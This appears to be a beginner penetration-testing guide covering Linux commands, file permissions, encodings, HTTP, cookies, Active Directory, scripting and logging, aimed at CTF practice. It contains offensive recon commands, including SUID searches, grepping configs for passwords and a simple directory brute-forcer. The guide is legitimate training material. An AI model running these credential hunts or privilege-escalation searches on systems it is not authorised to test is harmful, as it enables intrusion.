Essential Commands

# Navigation
pwd                   # Where am I?
ls -la                # List everything (including hidden)
cd /path/to/dir       # Change directory
find / -name "*.txt"  # Search for files
locate filename       # Fast search (uses database, run updatedb first)

# File operations
cat file.txt          # Read a file
grep -r "password" .  # Search inside files recursively
grep -i "pass\|cred\|secret" config.php  # Search for multiple patterns
head -n 20 file.txt   # First 20 lines
tail -f log.txt       # Watch a log file live
wc -l file.txt        # Count lines
diff file1 file2      # Compare files
strings binary        # Extract readable strings from binary files
file unknown          # Identify file type

# Networking
ip addr show          # Your network interfaces
curl -s http://target # Make HTTP requests
curl -v http://target # Verbose — see headers and handshake
wget http://target/file  # Download files
netstat -tlnp         # What's listening?
ss -tlnp              # Same thing, newer command

# Process management
ps aux                # All running processes
kill -9 PID           # Force kill a process
bg / fg               # Background/foreground jobs

# Permissions
chmod 600 file        # Owner read/write only
chmod +x script.sh    # Make executable
chown user:group file # Change ownership
sudo command          # Run as root

File Permissions — How Linux Controls Access

Linux file permissions are a core concept for privilege escalation. If you can find a misconfigured permission, you can often go from low-privilege user to root. Here's how it all works:

   ┌──── File Type (- = file, d = dir, l = link)
   │
   │  ┌──── Owner Permissions
   │  │
   │  │     ┌──── Group Permissions
   │  │     │
   │  │     │     ┌──── Others (Everyone Else)
   │  │     │     │
   -  rwx   rwx   rwx
      │││   │││   │││
      ││└─ execute (1)  — Run the file / enter the directory
      │└── write   (2)  — Modify the file / create files in directory
      └─── read    (4)  — Read the file / list directory contents

   Numeric: Add the values  →  rwx = 4+2+1 = 7
                                rw- = 4+2+0 = 6
                                r-x = 4+0+1 = 5
                                r-- = 4+0+0 = 4

   ┌─────────────────────────────────────────────────────────────────┐
   │  COMMON PERMISSIONS                                            │
   ├─────────┬────────────┬──────────────────────────────────────────┤
   │  755    │  rwxr-xr-x │  Owner: full, Others: read+execute      │
   │         │            │  Standard for directories & scripts     │
   ├─────────┼────────────┼──────────────────────────────────────────┤
   │  644    │  rw-r--r-- │  Owner: read+write, Others: read only   │
   │         │            │  Standard for regular files              │
   ├─────────┼────────────┼──────────────────────────────────────────┤
   │  600    │  rw------- │  Owner only. SSH keys, sensitive configs │
   ├─────────┼────────────┼──────────────────────────────────────────┤
   │  777    │  rwxrwxrwx │  EVERYONE can do EVERYTHING. Red flag!  │
   ├─────────┼────────────┼──────────────────────────────────────────┤
   │  4755   │  rwsr-xr-x │  SUID set — runs as file owner (often   │
   │         │            │  root). Privilege escalation goldmine!   │
   ├─────────┼────────────┼──────────────────────────────────────────┤
   │  2755   │  rwxr-sr-x │  SGID set — runs with group privileges  │
   └─────────┴────────────┴──────────────────────────────────────────┘

   SPECIAL BITS — The Privilege Escalation Holy Trinity:
   ─────────────────────────────────────────────────────
   SUID (4xxx) │ File executes as the FILE OWNER (not the user running it)
               │ If owned by root → runs as root. /usr/bin/passwd is SUID.
               │ Find them:  find / -perm -4000 -type f 2>/dev/null
   ────────────┼──────────────────────────────────────────────────────
   SGID (2xxx) │ File executes with the FILE GROUP's privileges
               │ On directories: new files inherit the directory's group
               │ Find them:  find / -perm -2000 -type f 2>/dev/null
   ────────────┼──────────────────────────────────────────────────────
   Sticky (1xxx) │ On directories: only file owners can delete their files
               │ /tmp uses sticky bit — prevents users deleting each other's files
               │ Shown as 't' in the others execute position: drwxrwxrwt

# Find SUID binaries (privilege escalation recon — run this FIRST on any box)
find / -perm -4000 -type f 2>/dev/null

# Find world-writable files (anyone can modify)
find / -perm -o+w -type f 2>/dev/null

# Find world-writable directories
find / -perm -o+w -type d 2>/dev/null

# Find files with no owner (orphaned — possible exploit path)
find / -nouser -o -nogroup 2>/dev/null

# Check a specific file's permissions
ls -la /etc/shadow     # Should be 640 (root:shadow)
ls -la /etc/passwd     # Should be 644 (world-readable, that's normal)

# GTFOBins — check if a SUID binary can be exploited
# https://gtfobins.github.io/  ← Bookmark this immediately

🎯 Privesc workflow: On every Linux box you compromise, run find / -perm -4000 -type f 2>/dev/null immediately. Then cross-reference every result with GTFOBins. If you find /usr/bin/python3 or /usr/bin/vim with SUID set, you're root in seconds. This is the most common Linux privilege escalation vector in CTFs.

Pipes and Redirection

The real power of Linux is chaining commands together:

# Pipe (|) sends one command's output to another
cat /etc/passwd | grep "bash"     # Find users with bash shell
nmap target | grep "open"         # Only show open ports

# Redirect (>) writes output to a file
nmap target > scan.txt            # Save scan results
nmap target >> scan.txt           # Append (don't overwrite)
nmap target 2>/dev/null           # Discard errors

# Combine
cat wordlist.txt | sort -u | wc -l  # Count unique words
cat access.log | awk '{print $1}' | sort | uniq -c | sort -rn | head  # Top IPs

# Process substitution
diff <(cat file1 | sort) <(cat file2 | sort)  # Compare sorted contents

# xargs — turn output into arguments
cat urls.txt | xargs -I{} curl -s {}  # Fetch every URL
find . -name "*.bak" | xargs rm       # Delete all .bak files

Text Processing — awk, sed, cut

These tools are essential for parsing tool output in pentesting:

# cut — extract columns
cat /etc/passwd | cut -d: -f1      # Extract usernames
echo "10.10.10.5:8080" | cut -d: -f2  # Extract port

# awk — powerful field processing
cat nmap_output | awk '/open/ {print $1}'  # Extract open port lines
awk -F: '$3 >= 1000 {print $1}' /etc/passwd  # Users with UID >= 1000

# sed — stream editing
sed 's/old/new/g' file.txt                  # Replace all occurrences
cat file | sed -n '10,20p'                  # Print lines 10-20
echo "http://target.htb/page" | sed 's|http://||;s|/.*||'  # Extract hostname

# tr — translate characters
echo "HELLO" | tr 'A-Z' 'a-z'              # Lowercase
cat file | tr -d '\r'                       # Remove Windows line endings

File Permissions — What Pentesters Look For

Linux file permissions control who can read, write, and execute files. Misconfigurations are one of the most common privilege escalation vectors:

┌──────────────────────────────────────────────────────────────────────┐
│                    LINUX FILE PERMISSIONS                            │
├──────────────────────────────────────────────────────────────────────┤
│                                                                      │
│   -rwxr-xr--  1  root  www-data  4096  Feb 8  app.py               │
│   │├─┤├─┤├─┤                                                        │
│   ││  │  │                                                          │
│   ││  │  └── Others:  r-- (4) = read only                          │
│   ││  └───── Group:   r-x (5) = read + execute                    │
│   │└──────── Owner:   rwx (7) = read + write + execute             │
│   └───────── Type:    - = file, d = directory, l = symlink         │
│                                                                      │
│   NUMERIC:  r=4, w=2, x=1 → add them up                           │
│   chmod 755 = rwxr-xr-x (owner full, others read+exec)            │
│   chmod 644 = rw-r--r-- (owner read+write, others read)           │
│   chmod 777 = rwxrwxrwx (everyone full access — DANGEROUS)        │
│   chmod 600 = rw------- (owner only — good for SSH keys)          │
│                                                                      │
│   SPECIAL BITS:                                                      │
│   SUID (4000) → File executes as the FILE OWNER, not the runner   │
│   SGID (2000) → File executes with the GROUP's permissions        │
│   Sticky (1000) → Only file owner can delete (used on /tmp)       │
│                                                                      │
│   chmod 4755 = -rwsr-xr-x  (SUID set — runs as owner)            │
└──────────────────────────────────────────────────────────────────────┘

What pentesters look for:

• SUID binaries owned by root: find / -perm -4000 -user root 2>/dev/null — if you can exploit one, you get root execution
• World-writable files: find / -writable -type f 2>/dev/null — can you modify a script that root runs?
• Config files with passwords: find / -name "*.conf" -readable 2>/dev/null | xargs grep -l "pass"
• SSH keys with wrong permissions: .ssh/id_rsa should be 600 — too-open permissions = SSH refuses to use them, but finding them means you've got a key to try
• Cron jobs running as root: Check /etc/crontab, /var/spool/cron/, /etc/cron.d/ — if root runs a writable script, you win

Common Encodings — You'll See These Everywhere

CTFs and web exploits constantly use encoding to bypass filters or hide data. Know how to spot and decode these:

┌──────────────┬──────────────────────────────┬────────────────────────────────┐
│ ENCODING     │ EXAMPLE                      │ HOW TO DECODE                  │
├──────────────┼──────────────────────────────┼────────────────────────────────┤
│ Base64       │ YWRtaW46cGFzc3dvcmQ=         │ echo "..." | base64 -d        │
│              │ (= padding at end is a clue) │ → admin:password              │
├──────────────┼──────────────────────────────┼────────────────────────────────┤
│ URL Encoding │ %41%64%6d%69%6e              │ python3 -c "import urllib.     │
│              │ admin%40target.htb            │   parse; print(urllib.parse.   │
│              │ (%40 = @, %20 = space)       │   unquote('%41%64%6d%69%6e'))" │
├──────────────┼──────────────────────────────┼────────────────────────────────┤
│ HTML Entities│ <script>alert(1)      │ Browser renders automatically  │
│              │ &amp; &quot; &#39;          │ &lt; = <  &gt; = >  &amp; = &  │
├──────────────┼──────────────────────────────┼────────────────────────────────┤
│ Hex          │ 0x41 0x64 0x6d 0x69 0x6e     │ echo "41646d696e" | xxd -r -p │
│              │ \x41\x64\x6d\x69\x6e         │ → Admin                       │
├──────────────┼──────────────────────────────┼────────────────────────────────┤
│ Binary       │ 01000001 01100100             │ Rare in practice, common in   │
│              │                              │ beginner CTF challenges        │
├──────────────┼──────────────────────────────┼────────────────────────────────┤
│ ROT13        │ nqzva                        │ echo "nqzva" | tr 'a-zA-Z'    │
│              │                              │   'n-za-mN-ZA-M' → admin      │
└──────────────┴──────────────────────────────┴────────────────────────────────┘

# Quick decode commands:
echo "YWRtaW46cGFzc3dvcmQ=" | base64 -d                          # Base64
python3 -c "import urllib.parse; print(urllib.parse.unquote('%41'))"  # URL
echo "68656c6c6f" | xxd -r -p                                     # Hex
echo "nqzva" | tr 'a-zA-Z' 'n-za-mN-ZA-M'                        # ROT13

# CyberChef (in your browser) handles ALL of these and more:
# https://gchq.github.io/CyberChef/
# Drag operations into the "Recipe" and it auto-decodes

💡 Pro tip: When you see suspicious strings in CTFs, try Base64 first (look for = padding or all alphanumeric + /+), then hex (all 0-9 a-f, even length), then ROT13. CyberChef's "Magic" operation auto-detects encoding — drag the string in and click Magic.

🌍 How the Web Works

Most pentesting starts with a web application. Understanding HTTP is non-negotiable.

The Full HTTP Request Lifecycle

When you type a URL into your browser and hit Enter, a surprising amount happens behind the scenes. Here's the complete sequence — and every step is a potential attack surface:

┌─────────┐                                                    ┌──────────┐
│ BROWSER │                                                    │  SERVER  │
└────┬────┘                                                    └─────┬────┘
     │                                                               │
     │  1. DNS RESOLUTION                                            │
     │  "What IP is target.htb?"                                     │
     ├──────────────────────────────────────► DNS Server              │
     │◄─────────────────────────────────────  "10.10.10.42"          │
     │  ⚠ Attack: DNS spoofing, cache poisoning                      │
     │                                                               │
     │  2. TCP THREE-WAY HANDSHAKE                                   │
     ├──── SYN ─────────────────────────────────────────────────────►│
     │◄─── SYN-ACK ────────────────────────────────────────────────  │
     ├──── ACK ─────────────────────────────────────────────────────►│
     │  ⚠ Attack: SYN flood, TCP reset, port scanning               │
     │                                                               │
     │  3. TLS HANDSHAKE (if HTTPS)                                  │
     ├──── ClientHello (supported ciphers) ────────────────────────►│
     │◄─── ServerHello + Certificate ──────────────────────────────  │
     ├──── Key Exchange + Finished ────────────────────────────────►│
     │◄─── Finished ───────────────────────────────────────────────  │
     │  ⚠ Attack: SSL stripping, MITM, downgrade attacks            │
     │                                                               │
     │  4. HTTP REQUEST                                              │
     ├──── GET /dashboard HTTP/1.1 ────────────────────────────────►│
     │      Host: target.htb                                         │
     │      Cookie: session=abc123                                   │
     │  ⚠ Attack: SQLi, XSS, SSRF, IDOR, command injection          │
     │                                                               │
     │  5. SERVER PROCESSING                                         │
     │      Route request → Auth check → Query DB → Build response   │
     │  ⚠ Attack: Auth bypass, logic flaws, race conditions          │
     │                                                               │
     │  6. HTTP RESPONSE                                             │
     │◄─── HTTP/1.1 200 OK ────────────────────────────────────────  │
     │      Content-Type: text/html                                  │
     │      Set-Cookie: session=xyz789                               │
     │      <html>...</html>                                         │
     │  ⚠ Attack: Header injection, cookie theft, info disclosure    │
     │                                                               │
     │  7. BROWSER RENDERING                                         │
     │      Parse HTML → Load CSS/JS → Execute scripts → Display     │
     │  ⚠ Attack: XSS (reflected/stored/DOM), clickjacking          │
     │                                                               │
     ▼                                                               ▼

🎯 Key insight: Every interview ever asks "what happens when you type a URL and press Enter?" Now you know — and you also know where attacks live at each step. DNS can be spoofed, TCP can be hijacked, TLS can be downgraded, HTTP requests can be injected, server logic can be abused, responses can leak info, and client-side rendering can execute attacker-controlled scripts.

HTTP Request/Response Cycle

# A typical HTTP request
GET /login HTTP/1.1
Host: target.htb
User-Agent: Mozilla/5.0
Cookie: session=abc123
Accept: text/html

# A typical HTTP response
HTTP/1.1 200 OK
Server: nginx/1.14.2
Content-Type: text/html
Set-Cookie: session=xyz789

<html>...</html>

Key Concepts

• Methods: GET (read), POST (submit), PUT (update), DELETE (remove), PATCH (partial update), OPTIONS (what's allowed?), HEAD (headers only)
• Status codes: 200 (OK), 301/302 (redirect), 400 (bad request), 401 (unauthorized), 403 (forbidden), 404 (not found), 405 (method not allowed), 500 (server error), 502 (bad gateway)
• Headers: Leak server info (Server, X-Powered-By), control caching, manage sessions, enforce security (CSP, CORS, X-Frame-Options)
• Cookies: How the server remembers who you are. Stealing cookies = session hijacking. Look for: HttpOnly (can't access via JS), Secure (HTTPS only), SameSite (CSRF protection)
• HTTPS: HTTP over TLS. Encrypts the entire conversation. Without it, everything (including passwords) travels in plaintext.

💡 Pro tip: Always check response headers. Server: Apache/2.4.49 tells you the exact version — and whether known CVEs apply. X-Powered-By: PHP/7.4.3 reveals the backend technology. X-Debug-Token might expose Symfony's profiler. These details guide your entire attack strategy.

The Full Request Lifecycle — What Happens When You Visit a URL

Every time you type a URL and press Enter, a chain of events fires. Understanding this chain is critical because you'll attack different links in it:

  YOUR BROWSER                      THE INTERNET                    TARGET SERVER
  ════════════                      ════════════                    ═════════════
       │
       │  1. DNS Lookup
       │─────────────────────────►  DNS Server
       │                            "What IP is target.htb?"
       │◄─────────────────────────  "It's 10.10.10.42"
       │
       │  2. TCP Three-Way Handshake
       │──── SYN ────────────────────────────────────────────────►│
       │◄─── SYN-ACK ───────────────────────────────────────────│
       │──── ACK ────────────────────────────────────────────────►│
       │                                                          │
       │  3. TLS Handshake (if HTTPS)                             │
       │──── ClientHello (ciphers, TLS version) ────────────────►│
       │◄─── ServerHello + Certificate ──────────────────────────│
       │──── Key Exchange ──────────────────────────────────────►│
       │◄─── Finished ──────────────────────────────────────────│
       │     [Encrypted tunnel established]                       │
       │                                                          │
       │  4. HTTP Request                                         │
       │──── GET /login HTTP/1.1 ───────────────────────────────►│
       │     Host: target.htb                                     │
       │     Cookie: session=abc123                               │
       │                                                          │
       │  5. Server Processing                                    │
       │     (routing → auth check → database query → template    │
       │      rendering → response building)                      │
       │                                                          │
       │  6. HTTP Response                                        │
       │◄─── HTTP/1.1 200 OK ──────────────────────────────────│
       │     Set-Cookie: session=xyz789                           │
       │     <html>...</html>                                    │
       │                                                          │
       │  7. Browser Rendering                                    │
       │     (parse HTML → fetch CSS/JS/images → execute JS →     │
       │      render page)                                        │
       ▼

Where attacks happen in this chain:

• Step 1 (DNS): DNS poisoning, subdomain takeover, zone transfers
• Step 2 (TCP): Port scanning, SYN floods, connection reset attacks
• Step 3 (TLS): SSL stripping, certificate impersonation, downgrade attacks
• Step 4 (Request): Parameter injection (SQLi, XSS, SSTI), header manipulation
• Step 5 (Processing): Server-side vulnerabilities, SSRF, deserialization, auth bypass
• Step 6 (Response): Missing security headers, information leakage, cookie theft
• Step 7 (Rendering): DOM XSS, client-side template injection, clickjacking

Cookie Security Flags — What to Look For

When you intercept cookies in Burp Suite, check every flag. Missing flags = vulnerabilities:

• HttpOnly — Cookie can't be accessed by JavaScript (document.cookie). If missing: XSS can steal the session cookie.
• Secure — Cookie only sent over HTTPS. If missing: attacker on the network can sniff the cookie over HTTP.
• SameSite=Strict — Cookie never sent with cross-site requests. Strongest CSRF protection.
• SameSite=Lax — Cookie sent with top-level navigations (clicking links) but not with POST forms or AJAX from other sites. Default in modern browsers. Blocks most CSRF.
• SameSite=None — Cookie sent with all cross-site requests (requires Secure flag). Vulnerable to CSRF if no other protections exist.
• Domain — Which domains receive the cookie. Overly broad domains (e.g., .example.com) let subdomains access the cookie — subdomain takeover becomes session hijacking.
• Path — Which URL paths receive the cookie. Usually / (all paths).
• Expires / Max-Age — How long the cookie lives. No expiry = session cookie (deleted when browser closes). Long-lived auth cookies are juicier targets for theft.

# Example cookie header to analyze:
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Lax; Path=/; Max-Age=3600

# Red flags in the wild:
Set-Cookie: admin_token=xyz789                    # ❌ No HttpOnly, no Secure, no SameSite
Set-Cookie: auth=secret; Domain=.example.com      # ❌ Broad domain, all subdomains get it
Set-Cookie: JSESSIONID=abc; Secure                # ⚠️  HttpOnly missing — XSS can steal it

Security Headers — What's Missing Matters

Response headers tell browsers how to behave. Missing security headers are findings in every pentest report:

• Content-Security-Policy (CSP) — Controls what resources the page can load (scripts, styles, images, frames). A strong CSP blocks XSS by preventing inline scripts and unauthorized script sources. No CSP = XSS is easier to exploit.
• Strict-Transport-Security (HSTS) — Forces HTTPS for all future visits. max-age=31536000; includeSubDomains means the browser won't even try HTTP for a year. Missing = SSL stripping attacks possible.
• X-Frame-Options — Controls whether the page can be embedded in an iframe. DENY or SAMEORIGIN prevents clickjacking. Missing = clickjacking possible.
• X-Content-Type-Options — Set to nosniff. Prevents the browser from MIME-type guessing (which can turn uploaded .txt files into executable HTML). Always should be present.
• Referrer-Policy — Controls what URL information is sent in the Referer header. no-referrer or strict-origin prevents leaking URL paths (which might contain tokens or sensitive data).
• Permissions-Policy — Controls browser features like camera, microphone, geolocation, and payment APIs. Limits what malicious scripts can access even if XSS succeeds.

# Quickly check security headers with curl:
curl -sI https://target.htb | grep -iE "content-security|strict-transport|x-frame|x-content-type|referrer-policy|permissions-policy"

# Or use securityheaders.com for a visual report
# Missing headers = findings for your pentest report

HTTP Authentication Mechanisms

• Basic Auth: Username:password base64-encoded in the Authorization header. Trivially decoded (not encrypted!).
• Bearer Tokens: Authorization: Bearer <token> — usually a JWT or OAuth token.
• Session Cookies: Server creates a session, gives you a cookie ID. The actual data lives server-side.
• API Keys: Passed as a header (X-API-Key) or query parameter. Static, often shared, frequently leaked.

🛡️ Security Fundamentals — The Core Concepts

Before you start breaking things, you need to understand what you're protecting (and what attackers target). These concepts come up in every interview, certification, and real engagement.

The CIA Triad

Every security discussion ultimately maps back to three properties:

┌─────────────────────────────────────────────────────────────────────┐
│                       THE CIA TRIAD                                 │
│                                                                     │
│               ┌──────────────────────┐                              │
│               │   CONFIDENTIALITY    │                              │
│               │  Only authorized     │                              │
│               │  people can READ     │                              │
│               │  the data            │                              │
│               └─────────┬────────────┘                              │
│                         │                                           │
│            ┌────────────┼────────────┐                              │
│            │                         │                              │
│  ┌─────────┴──────────┐  ┌──────────┴───────────┐                  │
│  │     INTEGRITY      │  │    AVAILABILITY      │                  │
│  │  Only authorized   │  │  Data and systems    │                  │
│  │  people can CHANGE │  │  are ACCESSIBLE when │                  │
│  │  the data          │  │  needed              │                  │
│  └────────────────────┘  └──────────────────────┘                  │
│                                                                     │
│  Attack examples:                                                   │
│  C: Data breach, eavesdropping, credential theft                   │
│  I: SQLi modifying data, file tampering, MITM                     │
│  A: DDoS, ransomware, resource exhaustion                          │
└─────────────────────────────────────────────────────────────────────┘

Why this matters for pentesting: Every vulnerability you find maps to at least one of these. SQL injection that dumps user data? Confidentiality breach. XSS that modifies page content? Integrity violation. DoS vulnerability? Availability impact. When writing reports, classify findings by which CIA property they violate — it helps clients prioritize fixes.

Threat Modeling Basics

Threat modeling means thinking like an attacker: "What's valuable here? How would I get to it? What stops me?"

• Attack surface: Everything exposed to potential attackers. Open ports, web endpoints, APIs, login forms, file upload fields, user input fields. Bigger attack surface = more ways in.
• Threat actors: Who might attack? Script kiddies (automated tools), hacktivists (ideology), organized crime (money), nation-states (espionage), insiders (disgruntled employees).
• Risk = Likelihood × Impact: A critical RCE on an internal dev server is lower risk than a medium SQLi on the main customer database. Context matters.

💡 Interview tip: "What's the CIA triad?" and "How do you prioritize findings?" are two of the most common security interview questions. Know these cold.

🏗️ Windows & Active Directory Primer

Most of the internet's servers run Linux, but most corporate networks run Windows with Active Directory. If you want to do internal pentesting (and you do — that's where the money is), you need to understand these concepts before Phase 5 digs deep into AD attacks.

Active Directory — What It Actually Is

Active Directory (AD) is Microsoft's directory service. Think of it as a massive database that stores everything about a corporate network: users, computers, groups, permissions, policies. When an employee logs into their work laptop, AD handles the authentication.

┌─────────────────────────────────────────────────────────────────────┐
│                    ACTIVE DIRECTORY OVERVIEW                         │
│                                                                     │
│  FOREST (top-level boundary)                                        │
│  └── DOMAIN (e.g., corp.example.com)                               │
│      ├── DOMAIN CONTROLLER (DC) — the server running AD            │
│      │   ├── Stores all user accounts, passwords (hashes)          │
│      │   ├── Handles authentication (Kerberos)                      │
│      │   ├── Enforces Group Policy (GPO)                           │
│      │   └── DNS server (AD-integrated)                             │
│      ├── USERS                                                      │
│      │   ├── Regular users → Domain Users group                    │
│      │   ├── Administrators → Domain Admins group                  │
│      │   └── Service accounts → often overprivileged               │
│      ├── COMPUTERS → all domain-joined machines                    │
│      ├── GROUPS → collections of users with shared permissions     │
│      └── ORGANIZATIONAL UNITS (OUs) → folders for organizing       │
│                                                                     │
│  Authentication protocols:                                          │
│  ├── Kerberos (default, ticket-based, port 88)                     │
│  ├── NTLM (legacy, hash-based, fallback)                           │
│  └── LDAP (directory queries, port 389/636)                        │
└─────────────────────────────────────────────────────────────────────┘

Key AD concepts you'll need:

• Kerberos: The default authentication protocol. Users request tickets (TGT) from the Key Distribution Center (KDC) running on the Domain Controller. These tickets prove identity without sending passwords. Attackers target Kerberos with Kerberoasting, AS-REP Roasting, Golden/Silver Ticket attacks.
• NTLM: Older authentication protocol that uses password hashes. Still widely used as a fallback. Pass-the-Hash attacks work because NTLM authenticates with the hash itself, not the password.
• LDAP: Protocol for querying the AD database. When you enumerate users, groups, and computers in AD, you're usually making LDAP queries. Often a target for injection attacks (LDAP injection).
• Group Policy Objects (GPOs): Rules pushed from the DC to all domain computers. Control everything from password policies to what software gets installed. Misconfigurations here are goldmines for pentesters.
• Service Principal Names (SPNs): Associate a service with a user account. When a service account has an SPN, any domain user can request its Kerberos ticket — and try to crack the password offline (Kerberoasting).

🎯 Why AD matters: In real-world pentests, getting Domain Admin is usually the end goal. Almost every internal engagement involves AD in some way. Phase 5 covers AD attacks in detail — this section gives you the vocabulary to understand what those attacks actually target.

🐍 Scripting & Automation Basics

You can get surprisingly far with just manual commands, but eventually you'll need to automate things: parsing tool output, brute-forcing custom login forms, chaining multiple steps together. You don't need to be a software engineer — just comfortable enough to read and modify scripts.

Bash Scripting — Essential for Every Pentester

#!/bin/bash
# Quick subnet scanner — ping every IP in a /24
# Usage: ./pingsweep.sh 10.10.10

if [ -z "$1" ]; then
    echo "Usage: $0 <first 3 octets>"
    echo "Example: $0 10.10.10"
    exit 1
fi

for ip in $(seq 1 254); do
    ping -c 1 -W 1 $1.$ip 2>/dev/null | grep "bytes from" | cut -d" " -f4 | tr -d ":" &
done
wait    # Wait for all background pings to finish

# One-liners you'll use constantly
# Extract IPs from nmap output
grep -oP '\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}' nmap_output.txt | sort -u

# Extract URLs from a file
grep -oP 'https?://[^\s"'"'"'<>]+' page.html | sort -u

# Loop through a list of hosts
while read host; do
    echo "Scanning $host..."
    nmap -sV -p 80,443 "$host" >> results.txt
done < hosts.txt

# Quick port check across multiple targets
for ip in $(cat targets.txt); do
    nc -zv $ip 445 2>&1 | grep succeeded
done

Python — For Custom Tools and Exploit Modification

#!/usr/bin/env python3
"""Simple directory brute-forcer — shows the concept"""
import requests
import sys

target = sys.argv[1] if len(sys.argv) > 1 else "http://target"
wordlist = "/usr/share/seclists/Discovery/Web-Content/common.txt"

with open(wordlist) as f:
    for word in f:
        url = f"{target}/{word.strip()}"
        try:
            r = requests.get(url, timeout=3)
            if r.status_code != 404:
                print(f"[{r.status_code}] {url}")
        except requests.exceptions.RequestException:
            pass

# Python skills you'll need:
# 1. Reading/writing files
# 2. Making HTTP requests (requests library)
# 3. Parsing JSON responses
# 4. Socket programming basics (for custom exploits)
# 5. String manipulation (base64, hex encoding)
# 6. Modifying existing exploits from ExploitDB

# Install useful libraries in Kali
pip3 install requests pwntools
python3 -m pipx install impacket    # pipx preferred for impacket

💡 Real talk: You don't need to write tools from scratch. Most pentesters modify existing scripts. The skill is reading Python well enough to understand what an exploit does, change the target/payload, and debug when it doesn't work. Start by reading ExploitDB scripts and understanding each line.

📊 Detection & Logging Fundamentals

Understanding how defenders see your attacks makes you a better attacker. If you know what gets logged, you can be stealthier. And if you ever move to blue team or purple team roles, this knowledge is essential.

• Linux logs: /var/log/auth.log (SSH, sudo attempts), /var/log/syslog (system events), /var/log/apache2/access.log (web requests). Every failed SSH login you attempt gets logged here.
• Windows Event Logs: Security.evtx (logon events, failed auth), System.evtx (service starts/stops), Application.evtx. Event ID 4625 = failed logon. Event ID 4624 = successful logon. These are what SOC analysts monitor.
• Sysmon: Microsoft tool that logs process creation, network connections, file creation, registry changes. If Sysmon is running on a target, your every move is recorded. Check with Get-Process sysmon* on Windows targets.
• Web server logs: Every Gobuster scan, SQLi attempt, and directory brute-force shows up in web server access logs. Blue teams use these to detect and block your attacks.

# What defenders see when you scan with Nmap
# In /var/log/auth.log on the target:
Feb 8 12:00:01 target sshd[1234]: Connection from 10.10.14.5 port 54321
Feb 8 12:00:01 target sshd[1234]: Invalid user admin from 10.10.14.5

# What defenders see when you brute-force with Hydra
# Hundreds of failed logins in rapid succession:
Feb 8 12:00:02 target sshd[1235]: Failed password for admin from 10.10.14.5
Feb 8 12:00:02 target sshd[1236]: Failed password for admin from 10.10.14.5
Feb 8 12:00:02 target sshd[1237]: Failed password for admin from 10.10.14.5
# This is VERY obvious to any monitoring system

🎯 Why this matters now: Phase 6 (Blue Team) goes deep into defensive techniques. This introduction helps you understand that your attacks aren't invisible — they leave traces. On CTF boxes nobody's watching, but on real engagements, defenders are actively hunting for exactly the traffic patterns your tools generate.

$  "password" .